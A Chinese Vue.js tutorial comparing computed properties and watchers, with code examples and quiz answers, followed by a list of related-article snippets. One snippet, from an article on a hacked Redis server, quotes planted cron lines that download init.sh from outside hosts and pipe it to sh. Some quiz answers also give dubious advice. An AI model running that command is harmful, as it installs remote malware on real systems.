一文搞懂computed和watch:Vue中的响应式双胞胎

目录

1. 理解computed与watch

computed(计算属性):

watch(侦听器):

2. 使用场景与实例

computed应用

适用场景:

实例:

watch应用

适用场景:

实例:

3. computed与watch总结

computed关键点:

watch关键点:

区别:

4.测试你学到了多少?

问题:

答案:

问题:

答案:


引言:

你是否有过这样的疑问:在Vue这样一个响应式框架中(vue本身就能够自动追踪数据的变化,并且当数据变化时,自动更新视图以反映这些变化),为什么还需要computedwatch这样的监听响应?他们两者又有什么区别呢?

  1. 答案在于,尽管Vue能够自动更新视图,但当数据处理的复杂性增加时,比如根据数据变化执行复杂的逻辑和优化性能,我们往往需要更精细的数据控制和变化响应。
  2. 而模板内的表达式非常便利,但是设计它们的初衷是用于简单运算的。在模板中放入太多的逻辑会让模板过重且难以维护。
  • 基于这些需求,Vue引入了computedwatch。它们是Vue响应式系统的重要补充,使得Vue能够适应各种复杂的开发需求。

简单了解后,我们带着问题继续深挖


1. 理解computed与watch

在Vue中,computedwatch是两个核心概念,它们扩展了框架的响应式能力,允许开发者以更灵活的方式响应和处理数据变化。

computed(计算属性):

computed是Vue中的一种特殊属性,它根据响应式数据的变化自动重新计算值。computed属性非常适合用于以下场景:

  • 当你需要根据现有数据派生出一个新的数据时或一个数据结果受多个数据影响时
  • 当派生数据①的计算逻辑相对复杂,且可能在多个地方被引用时。
  • 当你希望避免不必要的重复计算,通过缓存机制提高性能时。

computed属性的计算结果会被缓存,只有当其依赖的响应式数据发生变化时,计算属性才会重新计算。

注:①"派生数据"(Derived Data)是指基于已有数据通过某种计算或转换得到的新数据

watch(侦听器)

watch允许你指定一个或多个响应式数据,并对这些数据的变化执行自定义的操作。watch适用于以下情况:

  • 当数据变化需要触发复杂的业务逻辑或副作用时。
  • 当你需要在数据变化时执行异步操作,如API请求时。
  • 当数据变化需要触发DOM操作或其他非响应式操作时。

computed不同,watch不会缓存结果,每次指定的数据变化时,都会执行相应的操作。

简而言之,computed用于创建缓存的派生数据,而watch用于在数据变化时执行自定义逻辑。这两个工具的结合使用,为Vue提供了更强大的响应式处理能力。

2. 使用场景与实例

computed应用
适用场景
  • 当你需要根据现有数据计算一个新的值,并且这个值在多个地方被用到时。
  • 当计算过程可能较为复杂,不希望在多个地方重复相同的逻辑时。
  • 当派生数据的实时性要求不高,且希望避免不必要的重复计算以优化性能时。
实例

假设有一个购物网站的购物车页面,其中每个商品都有一个price(价格)和一个quantity(数量)。你想要计算所有商品的totalPrice(总价),这可以通过computed属性实现:

Vue.component('shopping-cart', {data() {return {items: [{ id: 1, name: 'Apple', price: 0.99, quantity: 3 },{ id: 2, name: 'Orange', price: 1.29, quantity: 2 },// 更多商品...]};},computed: {totalPrice() {// 使用reduce方法计算总价(循环遍历计算)return this.items.reduce((total, item) => {return total + (item.price * item.quantity);}, 0);}},template: `<div><h2>购物车</h2><ul><li v-for="item in items" :key="item.id">{{ item.name }} - {{ item.price }} * {{ item.quantity }} = {{ item.price * item.quantity }}</li></ul><hr><p>总价: {{ totalPrice.toFixed(2) }}</p></div>`
});
watch应用
适用场景
  • 当数据变化时需要需要触发复杂的业务逻辑或副作用时。
  • 当需要在数据变化时执行异步操作,如发起API请求时。
  • 当需要对数据变化做出条件性响应,如根据用户输入切换不同的视图或状态时。
实例

1.考虑一个具有实时搜索功能的应用,用户在搜索框中输入文本时,应用需要动态更新搜索结果:

new Vue({data: {searchTerm: '', // 用户输入的搜索词searchResults: [], // 搜索结果originalData: [] // 原始数据,用于搜索},watch: {// 监听searchTerm的变化searchTerm(newVal, oldVal) {// 当searchTerm变化时,执行搜索方法this.performSearch(newVal);}},methods: {performSearch(term) {// 假设这是一个异步API调用,获取搜索结果// 这里使用setTimeout模拟异步操作setTimeout(() => {// 模拟从服务器获取的搜索结果const results = this.originalData.filter(item => {// 假设原始数据是一个商品列表,每个商品有一个name属性return item.name.toLowerCase().includes(term.toLowerCase());});this.searchResults = results;}, 500); // 延迟500ms模拟网络请求}},mounted() {// 假设组件挂载后从服务器获取了原始数据this.originalData = [{ id: 1, name: 'Apple' },{ id: 2, name: 'Orange' },// ...其他商品数据];}
});

2.假设我们有一个表单,用户需要输入用户名,我们希望在用户输入时立即验证用户名的有效性。

new Vue({data: {username: '',usernameValid: null, // 用于存储验证结果},watch: {// 监听用户名输入的变化username(newVal) {this.validateUsername(newVal);}},methods: {//验证validateUsername(username) {// 简单的用户名验证逻辑:非空且长度不超过10if (!username) {this.usernameValid = false;} else if (username.length > 10) {this.usernameValid = '用户名太长';} else {this.usernameValid = true;}}}
});<div><input type="text" v-model="username" placeholder="Enter username"><span v-if="usernameValid === false">用户名不能为空</span><span v-else-if="usernameValid === true">用户名有效</span><span v-else>用户名太长</span>
</div>

3. computed与watch总结

computed关键点
  • computed属性用于创建派生数据,这些数据是基于响应式依赖自动计算的。
  • 它们提供了缓存机制,只有当依赖项变化时,计算属性才会重新计算。
  • computed适合于声明性地描述数据如何从其他数据派生,常用于视图渲染优化。
watch关键点:
  • watch用于侦听响应式数据的变化,并在变化发生时执行定义的逻辑。
  • 它不具备缓存机制,每次数据变化都会触发回调函数。
  • watch适合于执行复杂的业务逻辑,如异步请求、DOM操作,或者在数据变化时执行条件性响应。
区别:

功能定位

  • computed是声明式的,用于计算并缓存视图所需的数据,它根据响应式数据的变化自动重新计算并提供缓存
  • watch命令式的,用于监听响应式数据的变化,每次变化都会触发执行预定义的回调函数。

缓存与执行

  • computed利用缓存机制,只有当其依赖的响应式数据变化时,才会重新执行计算。
  • watch不使用缓存,对每一次数据变化都进行响应,执行回调

返回值

  • computed的计算函数需要使用return语句返回一个值,因为它本身是一个属性。
  • watch的回调函数不强制要求return返回值,因为它是一个事件处理器

初始执行

  • computed在开始时自动建立依赖关系,默认第一次加载的时候就开始监听。(购物车)
  • watch默认在开始时不执行监听,除非设置immediate: true,这允许在数据变化时立即执行回调。(主题颜色)

使用场景

  • computed 适用于需要根据现有数据派生出新数据的场景,如:
    • 从多个输入字段计算总和。
    • 根据用户权限动态展示不同的视图。
    • 购物车应用中根据商品列表计算总价。
  • watch 适用于需要在数据变化时执行复杂逻辑的场景,如:
    • 表单输入的实时验证。
    • 用户搜索输入的自动完成或搜索结果的实时更新。
    • 路由参数的变化导致组件状态的更新。

4.测试你学到了多少?

现在我来问你几个关于在特定场景下选择使用computed还是watch的问题,评估对这两者的理解并加深印象:

问题:
  1. 性能优化场景

    “你正在开发一个性能敏感的Vue应用,其中有一个属性userPreferences,你想要基于这个属性计算出一个theme变量,用于应用不同的样式。这个theme变量在userPreferences变化时才会更新。你应该使用computed还是watch,为什么?”
  2. 复杂副作用场景

    “假设用户在应用中更改了他们的主题偏好,除了更新应用的样式外,你还需要保存这个新的主题到数据库,并且可能需要从服务器获取一些与主题相关的数据。你应该使用computed还是watch来处理这种场景?”
  3. 实时验证场景

    “在一个表单中,你想要实时验证用户输入的数据。每当用户输入内容时,你都需要检查输入是否满足某些条件,并给出相应的反馈。这个验证过程不涉及复杂的计算,但需要立即响应用户的输入。你应该使用computed还是watch?”
  4. 异步操作场景

    “你正在构建一个搜索功能,用户输入查询时,你希望应用能立即显示出与查询匹配的结果。这个搜索过程涉及到一个异步API调用。你应该使用computed还是watch来实现这个功能?”
  5. 条件渲染场景

    “你的应用有一个特性,根据当前用户的角色,某些UI元素可能会显示或隐藏。这个显示逻辑依赖于一个currentUser对象中的role属性。你应该使用computed还是watch来根据role属性的变化更新UI?”
  6. 跨组件通信场景

    “你正在构建一个复杂的Vue应用,其中有一个父组件和一个子组件。父组件需要监听子组件的状态变化,并在变化时更新自己的状态或执行某些操作。这个监听过程不涉及复杂的计算,但需要确保父组件能够响应子组件的状态。你应该使用computed还是watch?”
  7. 初始执行场景

    “你需要在应用启动时立即执行一个初始化过程,这个过程中你会读取用户的首选项,并根据这些偏好设置应用的状态。这个初始化过程只会在应用启动时执行一次,之后会根据用户的行为动态更新状态。你应该使用computed还是watch来实现这个初始化逻辑?”
答案:
  1. 性能优化场景

    应该使用computed。因为computed提供了缓存机制,只有当userPreferences变化时,theme才会重新计算,这有助于避免不必要的计算,优化性能。
  2. 复杂副作用场景

    应该使用watch。由于需要执行保存到数据库和获取服务器数据等副作用,watch更适合处理这类响应式数据变化时的复杂逻辑。
  3. 实时验证场景

    应该使用watch。实时验证需要立即响应用户的输入,而watch可以在数据变化时立即执行验证逻辑。
  4. 异步操作场景

    应该使用watch。搜索功能通常涉及到根据用户的输入进行异步API调用,watch可以在用户输入后立即执行搜索请求。
  5. 条件渲染场景

    可以使用computed。如果仅仅是根据currentUserrole属性来决定UI元素的显示或隐藏,computed可以返回一个布尔值,直接用于v-ifv-show指令。
  6. 跨组件通信场景

    可以使用watch。父组件可能需要在子组件状态变化时执行一些操作或更新自己的状态,watch可以监听子组件的状态并响应变化。
  7. 初始执行场景

    可以使用watch并结合immediate: true选项。这样可以确保在开始时立即执行初始化过程,之后再监听依赖的变化。

前面的问题是不是都非常简单和前面讲过的基本重合,那现在我再给出几道较为复杂的场景题:

问题:
  1. 响应式数据集过滤

    “你有一个大型数组dataList,它包含许多项目,并且是响应式的。你需要基于用户的搜索词searchTerm动态过滤这个数组以显示匹配的项目。这个过滤逻辑相对简单,但需要实时响应用户的输入。你应该使用computed还是watch?”
  2. 动态样式应用

    “在应用中,你希望某些元素的样式根据当前用户的主题偏好动态变化。这些样式不涉及复杂的计算,但是需要立即应用,以响应用户切换主题的动作。你应该使用computed还是watch来管理这些样式?”
  3. 父子组件状态同步

    “你有一个父组件和一个子组件,父组件需要基于自己的状态来决定是否启用子组件的某个功能。与此同时,子组件的行为也可能影响父组件的状态。你应该使用computedwatch,还是两者结合来处理这种双向关系?”
  4. 路由参数监听

    “应用中的一个页面根据URL的路由参数动态显示不同的内容。页面需要在路由参数变化时执行一些初始化逻辑,比如请求新数据。这个页面还包含了一个表单,表单的提交也应该依赖于当前的路由参数。你应该使用computed还是watch来监听路由参数的变化?”
  5. 深层监听对象变化

    “你有一个嵌套的对象nestedObject,它作为响应式数据存储在Vue实例中。你需要追踪这个对象中所有属性的变化,包括那些在深层嵌套的对象中的属性。你应该使用computed还是watch,并且如何实现深层监听?”
  6. 性能优化与副作用

    “在应用中,你有一个复杂的计算属性computedProperty,它根据多个响应式数据计算得到。这个计算相对昂贵,但你同时需要在计算结果变化时执行一些副作用,如更新另一个响应式属性。你应该使用单独的computed属性来处理计算和副作用,还是使用watch来监听computedProperty的变化?”
  7. 异步数据更新

    “用户在应用中执行了一个动作,比如点击一个按钮,这将触发一个异步操作,如从服务器获取数据。一旦数据获取成功,你需要更新应用的状态,并可能需要基于新数据计算一些派生状态。你应该使用computedwatch,还是其他Vue特性来处理这种异步更新?”
答案:
  1. 响应式数据集过滤

    使用watch。因为需要实时响应用户的输入进行过滤操作,并且可能涉及到异步数据获取或复杂的逻辑判断。
  2. 动态样式应用

    使用computed。如果样式变化仅基于当前主题状态,并且不需要执行副作用,computed可以提供缓存的派生值,适用于动态样式绑定。
  3. 父子组件状态同步

    结合使用computedwatchcomputed可以用于创建基于父组件状态的派生状态,而watch可以用于监听子组件的变化并触发父组件状态的更新。
  4. 路由参数监听

    使用watch,结合immediate: true。因为路由变化可能需要立即执行某些操作,并且可能涉及到异步数据请求或状态重置。
  5. 深层监听对象变化

    使用watch,设置deep: true。深层监听需要观察对象内部属性的变化,watch可以提供这种深度监听的能力。
  6. 性能优化与副作用

    使用computed来处理复杂计算,然后使用watch来监听computedProperty的变化执行副作用。这样可以既优化性能,又能响应计算结果的变化。
  7. 异步数据更新

    使用watch来监听触发异步操作的动作(如按钮点击),在watch的回调中执行异步操作,并在操作完成后使用computed来派生新的状态。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2825.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AXI4---低功耗接口

在电子系统设计中&#xff0c;"low-power interface"&#xff08;低功耗接口&#xff09;是指专为减少能耗而设计的硬件接口。这类接口在不需要牺牲性能的情况下&#xff0c;通过各种技术降低功耗&#xff0c;对于移动设备、嵌入式系统和其他电池供电的应用来说尤其重…

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III

如何更好的管理个人财务&#xff1f;使用极空间部署私有记账系统Firefly III 哈喽小伙伴们好&#xff0c;我是Stark-C~ 不知道屏幕前的各位“富哥”日常生活中是怎么管理自己巨额财富的&#xff0c;反正对于像我这样年薪过千的摸鱼族来说&#xff0c;请一个专业的理财顾问多多…

【Qt事件】

Qt是一个流行的C跨平台应用程序开发框架&#xff0c;它提供了丰富的事件处理机制来响应用户输入和系统事件。Qt中的事件被封装为事件对象&#xff0c;并由事件循环系统进行分发和处理。下面是一些常见的Qt事件&#xff1a; 鼠标事件&#xff1a;包括鼠标按下、释放、移动、双击…

Laravel 6 - 第十三章 请求

​ 文章目录 Laravel 6 - 第一章 简介 Laravel 6 - 第二章 项目搭建 Laravel 6 - 第三章 文件夹结构 Laravel 6 - 第四章 生命周期 Laravel 6 - 第五章 控制反转和依赖注入 Laravel 6 - 第六章 服务容器 Laravel 6 - 第七章 服务提供者 Laravel 6 - 第八章 门面 Laravel 6 - …

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对&#xff0c;backup1,backup2,backup3,backup4&#xff0c;内容是奇奇怪怪的sh脚本&#xff1a;*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh http://en2an.top/cleanfda/init.sh */2 * * * * root cd1 -fsSL http…

The_Maya_Society

突然发现自己做了一些逆向题都没有写笔记 今天&#xff0c;发现这道题有意思 1.解压文件 三个文件The Maya Society.html&#xff0c;maim.cc,maya.png 当时我看到这个题的时候&#xff0c;我以为是不是会是js逆向 看来是我蠢了 这三个文件&#xff0c;main.css和maya.png这两…

PyQt5的安装和配置

1.准备工作 首先&#xff0c;下载Pycharm及python-3.7.5-amd64.exe并安装两个软件。 Pycharm链接&#xff1a; python-3.7.5-amd64.exe链接&#xff1a; 2.1.在线安装 pip安装PyQt5&#xff1a; pip install PyQt5 pip安装pyqt5-tools pip install pyqt5-tools 遇到下载…

frp V2使用教程

教程适合小白,按照步骤操作即可 使用 systemd 安装 # 使用 yum 安装 systemd(CentOS/RHEL) yum install systemd# 使用 apt 安装 systemd(Debian/Ubuntu) apt install systemd创建 frps.service 文件 使用文本编辑器 (如 vim) 在 /etc/systemd/system 目录下创建一个 …

编译原理 LR(0)

讲解视频&#xff1a;编译原理LR&#xff08;0&#xff09;分析表&#xff08;上&#xff09;_哔哩哔哩_bilibili 【编译原理】LR(0)分析表分析输入串_哔哩哔哩_bilibili 拓广文法 已知G&#xff1a;S->(S)S | ε 拓广文法&#xff1a; S -> S S -> (S)S S -> ε…

【Python基础】20.包

包 包是一个包含多个模块的特殊目录目录下有一个特殊的文件__init.py___包名的命名方式和变量名一致 使用 import 包名的方法可以一次性导入包中的所有模块 __init.py___的使用 要在外界使用包中的模块&#xff0c;需要在__init.py___中指定对外界提供的模块 from . impor…

基于springboot的公交线路查询系统设计与实现

第1章 绪论 1.1 研究背景 互联网时代不仅仅是通过各种各样的电脑进行网络连接的时代&#xff0c;也包含了移动终端连接互联网进行复杂处理的一些事情。传统的互联网时代一般泛指就是PC端&#xff0c;也就是电脑互联网时代&#xff0c;但是最近几十年&#xff0c;是移动互联网…

中台架构下的性能测试实践方法

有同学私信问我&#xff1a;中台服务建设过程中&#xff0c;性能测试如何开展&#xff1f;问题背景如下&#xff1a; 业务背景&#xff1a;银行业务&#xff1b; 技术架构&#xff1a;业务应用和中台之间请求统一走ESB&#xff1b; 当前阶段&#xff1a;中台建设中&#xff0c;…

如何部署 wfs 分布式服务

说明&#xff1a; wfs是海量小文件存储系统。wfs1.x不直接支持分布式存储&#xff0c;但为了应对大规模部署和高可用需求&#xff0c;推荐采用如Nginx这样的负载均衡服务&#xff0c;通过合理的资源配置和定位策略&#xff0c;可以在逻辑上模拟出类似分布式的效果。也就是说&am…

【kettle002】kettle访问人大金仓KingbaseES数据库并处理数据至execl文件

一直以来想写下基于kettle的系列文章&#xff0c;作为较火的数据ETL工具&#xff0c;也是日常项目开发中常用的一款工具&#xff0c;最近刚好挤时间梳理、总结下这块儿的知识体系。 熟悉、梳理、总结下人大金仓KingbaseES数据库相关知识体系 kettle访问人大金仓KingbaseES数据库…

Linux网络-DHCP原理与配置

目录 一.DHCP工作原理 1.了解DHCP服务 1.1.使用DHCP的好处 1.2.DHCP的分配方式 2.DHCP的租约过程 2.1.DHCP工作原理 2.2.DHCP交互过程 二.DHCP服务器的配置 1.关闭防火墙 2.检查并且安装DHCP有关软件包 3.查看系统的配置文件 3.1.设置参数 4.修改网络 4.1.修改虚…

机器学习第八次课

前言 开课了,今天会讲点什么呢,先看看 首先是机器学习的三步走,第一步是确定函数,第二步是损失函数,第三步就是训练,对应到线性回归,就是确定函数,然后就是MSE,第三步是梯度下降法,先问了个问题. 然后问了一个梯度下降的问题,梯度下降是一个用于优化目标函数的算法&#xff…

redis基于Stream类型实现消息队列,命令操作,术语概念,个人总结等

个人大白话总结 1 在Redis Stream中&#xff0c;即使消息被消费者确认&#xff08;acknowledged, ACK&#xff09;&#xff0c;消息也不会自动从Stream数据结构中删除。这与Kafka或RabbitMQ等传统消息队列系统的做法不同&#xff0c;在那些系统中&#xff0c;一旦消息被消费并…

MyBatisPlus详解(四)通用枚举、JSON类型处理器、配置加密、自动分页插件与工具类

文章目录 前言3 扩展功能3.3 通用枚举3.3.1 使用枚举类3.3.2 功能测试 3.4 JSON类型处理器3.4.1 使用JSON类型处理器3.4.2 功能测试 3.5 配置加密3.5.1 生成密钥3.5.2 修改配置3.5.3 功能测试 4 插件功能4.1 自动分页插件4.1.1 配置分页插件4.1.2 分页API 4.2 通用分页实体4.2.…

递归实现斐波那契数列的空间复杂度的讲解

题目&#xff1a;计算斐波那契数列Fib的空间复杂度 过程图解&#xff1a; 理解要点&#xff1a; 递归的运算顺序和方式不是同时进行图中的所有Fib函数&#xff0c;而是有顺序的&#xff01; 第一步&#xff1a;单独的一个Fib&#xff08;N&#xff09;进行到底Fib&#xff08…

XV6源码阅读——进程地址空间

文章目录 前言页表实际情况 前言 一个本硕双非的小菜鸡&#xff0c;备战24年秋招。打算尝试6.S081&#xff0c;将它的Lab逐一实现&#xff0c;并记录期间心酸历程。 代码下载 官方网站&#xff1a;6.S081官方网站 页表 每个进程都有一个单独的页表&#xff0c;当xv6在进程之…